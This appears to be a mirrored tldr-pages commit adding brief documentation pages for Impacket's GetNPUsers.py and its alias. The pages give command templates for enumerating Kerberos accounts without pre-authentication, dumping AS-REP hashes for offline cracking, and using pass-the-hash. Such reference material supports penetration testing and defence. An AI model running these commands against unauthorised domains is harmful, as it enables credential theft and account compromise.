1
0
Fork 0
mirror of https://github.com/tldr-pages/tldr.git synced 2025-04-29 23:24:55 +02:00

GetNPUsers.py, impacket-GetNPUsers: add page (#15833)

This commit is contained in:
Machiavelli 2025-03-05 02:18:18 +02:00 committed by GitHub
parent ebaf4b6280
commit e9af487030
No known key found for this signature in database
GPG key ID: B5690EEEBB952194
2 changed files with 34 additions and 0 deletions

View file

@ -0,0 +1,25 @@
# GetNPUsers.py
> Enumerate Active Directory accounts with Kerberos pre-authentication disabled, which may be susceptible to AS-REP roasting attacks.
> Part of the Impacket suite.
> More information: <https://github.com/fortra/impacket>.
- Enumerate users with Kerberos pre-authentication disabled (default anonymous enumeration):
`GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}`
- Perform AS-REP roasting and dump crackable hashes for offline cracking:
`GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}} -request`
- Authenticate with valid credentials (if anonymous binding is disabled):
`GetNPUsers.py {{domain}}/{{username}}:{{password}} -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}`
- Use pass-the-hash authentication instead of a password:
`GetNPUsers.py {{domain}}/{{username}} -hashes {{LM_Hash}}:{{NT_Hash}} -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}}`
- Save the output to a file for further analysis:
`GetNPUsers.py {{domain}}/ -usersfile {{path/to/userslist}} -dc-ip {{domain_controller_ip}} -request > {{output.txt}}`

View file

@ -0,0 +1,9 @@
# impacket-GetNPUsers
> This command is an alias of `GetNPUsers.py`.
> Part of the Impacket suite.
> More information: <https://github.com/fortra/impacket>.
- View documentation for the original command:
`tldr GetNPUsers.py`